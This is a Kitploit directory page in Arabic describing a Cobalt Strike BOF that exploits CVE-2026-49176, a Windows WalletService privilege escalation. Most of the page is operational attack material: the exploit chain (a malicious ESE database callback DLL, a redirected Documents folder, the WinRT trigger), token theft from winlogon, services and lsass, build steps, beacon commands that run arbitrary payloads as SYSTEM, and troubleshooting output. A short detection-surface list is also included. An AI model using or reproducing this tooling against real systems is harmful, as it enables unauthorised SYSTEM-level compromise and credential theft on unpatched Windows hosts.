Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC مستقل + BOF من Cobalt Strike (أمر SYSTEM على جلسة تفاعلية) | Kitploit
أدوات/GitHubGitHub/777erp/cve-2026-49176_bof
تصعيد الامتيازاتالاستغلالما بعد الاستغلالالفريق الأحمرتطوير الحمولات
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC مستقل + BOF من Cobalt Strike (أمر SYSTEM على جلسة تفاعلية)

عرض المستودع
411منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-49176 Cobalt Strike BOF

ملف Beacon Object File (BOF) خاص بـ Cobalt Strike لتصعيد الامتيازات المحلية عبر خدمة WalletService في ويندوز (CVE-2026-49176، تم إصلاحه في يوليو 2026).

من خلال Beacon بسلامة متوسطة (مستخدم قياسي)، تقوم هذه الأداة بتجهيز قاعدة بيانات ESE خبيثة لـ Wallet، وإعادة توجيه مجلد Documents، وتحفيز WalletService، وتشغيل سطر أوامر يحدده المستدعي بصلاحيات NT AUTHORITY\SYSTEM على سطح المكتب التفاعلي.

نسخة BOF فقط.
الـ PoC الأصلي المستقل بـ PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. نفس السبب الجذري للثغرة؛ طريقة توصيل مختلفة وإطلاق عملية مختلف بعد SYSTEM.


إخلاء مسؤولية

لأغراض البحث الأمني المصرح به والتعليم والتحقق الدفاعي فقط.


الثغرة (مشتركة مع الـ PoC الأصلي)

يقوم WalletService بحل FOLDERID_Documents أثناء انتحال هوية المستدعي، ثم يعود إلى LocalSystem قبل فتح:

root@kitploit:~
<Documents>\Wallet\wallet.db

يمكن لمستخدم قياسي زرع رد اتصال افتراضي معرّف من المستخدم خاص بـ ESE (PATH\payload.dll!Export) في تلك القاعدة، وتوجيه مجلد Documents إلى دليل يتحكم فيه، واستدعاء WinRT WalletManager.RequestStoreAsync / GetItemsAsync بحيث تقوم الخدمة بتحميل الـ DLL بصلاحيات SYSTEM.

الشرح التقني: CVE-2026-49176 Exploit Development: WalletService to SYSTEM


الـ BOF مقابل الـ PoC الأصلي — مسار تصعيد الامتيازات

المتشابه: كيفية الحصول على تنفيذ كود بصلاحيات SYSTEM

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

الاختلاف: عملية SYSTEM تفاعلية بعد رد الاتصال

غالبًا ما يستخدم WalletService رمز SYSTEM مُصفّى (بدون SeAssignPrimaryToken / SeImpersonate قابلين للاستخدام). الاستدعاء المباشر لـ CreateProcess* يؤدي إلى 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

الميزات

  • أمر Beacon واحد لتشغيل أي أمر/ملف بصلاحيات SYSTEM على سطح المكتب النشط
  • السلسلة كاملة داخل العملية: تجهيز ← زرع ← إعادة توجيه ← تحفيز ← انتظار ← استعادة Documents
  • تضمين wallet_callback.dll + shell_broker.exe عبر bof_pack("bbZ")
  • إطلاق متعدد الاستراتيجيات بعد SYSTEM + تشخيصات result.txt
  • x64 فقط

المتطلبات

البندالمتطلب
Beacon

هيكل الملفات

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

البناء

root@kitploit:~
cd bof
build.bat
الأمرالمخرجات
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payloadDLL + broker فقط
build.bat cleanحذف الملفات الناتجة
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

عدّل مسارات VCVARS64 في build.bat إذا كان VS غير مثبت في المسار الافتراضي.
أعلام حرجة: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (سلامة رابط CS BOF).


الاستخدام

التحميل

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(أعد التحميل بعد كل إعادة بناء.)

الأوامر

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • لا حاجة لعلامات الاقتباس الخارجية إذا كان المسار لا يحتوي على مسافات.
  • قائمة اختيارية: Beacon → CVE-2026-49176 → Run command as SYSTEM...

التجهيز على الهدف

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

التضمين

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

المخرجات المتوقعة

سطر المهمة

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

النجاح (مثال توضيحي)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

قد تكون قيمة detail= إما winlogon أو services أو lsass أو مسار broker.

حالات الفشل الشائعة

يتم استعادة مجلد Documents حتى عند الفشل إذا نجحت إعادة التوجيه.


البنية

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

سطح الاكتشاف

  • تغيير مجلد Documents المعروف
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL رد الاتصال
  • تحميل WalletService لـ DLL قابل للكتابة من المستخدم
  • OpenProcess / واجهات API الخاصة بالرموز ضد winlogon/lsass/services
  • خدمات قصيرة العمر CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW نحو جلسات تفاعلية

القيود

  • x64 فقط؛ يتطلب WalletService غير مُصحَّح
  • قد تكون واجهة WinRT الخاصة بـ Wallet غير متاحة/مُهملة في بعض الإصدارات
  • لا يتم حذف دليل التجهيز تلقائيًا
  • يعمل ESE/WinRT داخل Beacon (خطر تعطّل مقارنة بالـ PoC الأصلي المعزول في عملية مستقلة)

مواضيع ذات صلة

الرابطالوصف
DavidCarliez/CVE-2026-49176_LPE_POCالـ PoC الأصلي المستقل لتصعيد الامتيازات المحلية (PoC بحثي من المنبع)
الشرح التقنيالمقال البحثي الأصلي
تنزيل الأداة
المرحلةالـ PoC الأصليهذا الـ BOF
زرع قاعدة بيانات ESEwallet_ese_seed.exeداخل الـ BOF Jet*A
إعادة توجيه Documentsdocuments_path.exeداخل الـ BOF SHGet/SetKnownFolderPath
تحفيز WalletPowerShell WinRTداخل الـ BOF RoGetActivationFactory
DLL رد الاتصالwallet_callback_shell.dllwallet_callback.dll
الـ PoC الأصليهذا الـ BOF
العملية الهدفcmd.exe مثبّتة في الكودسطر أوامر يوفره المشغّل
الأسلوب الأساسيخدمة مؤقتة ← shell_broker.exe ← CreateProcessAsUserWسرقة رمز من winlogon / services / lsass ← إطلاق
الأسلوب الاحتياطيلا يوجدSCM + cmd.exe /c "shell_broker.exe" "result.txt"
x64، سلامة متوسطة (غير مرتفعة)
الهدفWalletService المتأثر بالثغرة (قبل تصحيح يوليو 2026)
CSCobalt Strike 4.x مع دعم BOF
البناءVS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT)
السجلالمعنى
JetAddColumn: -1003مشكلة في معاملات ESE
error=1314SYSTEM مُصفّى؛ يلزم سرقة رمز أو broker
STEAL_FAIL error=5تعذّر فتح العملية/الرمز المستهدف
StartService error=32انتهاك مشاركة (يُخفَّف عبر غلاف cmd)
detail=all_methodsفشلت جميع استراتيجيات ما بعد SYSTEM
الرابط Unknown symbol '??_C@_...'أعلام بناء BOF خاطئة؛ أعد البناء باستخدام build.bat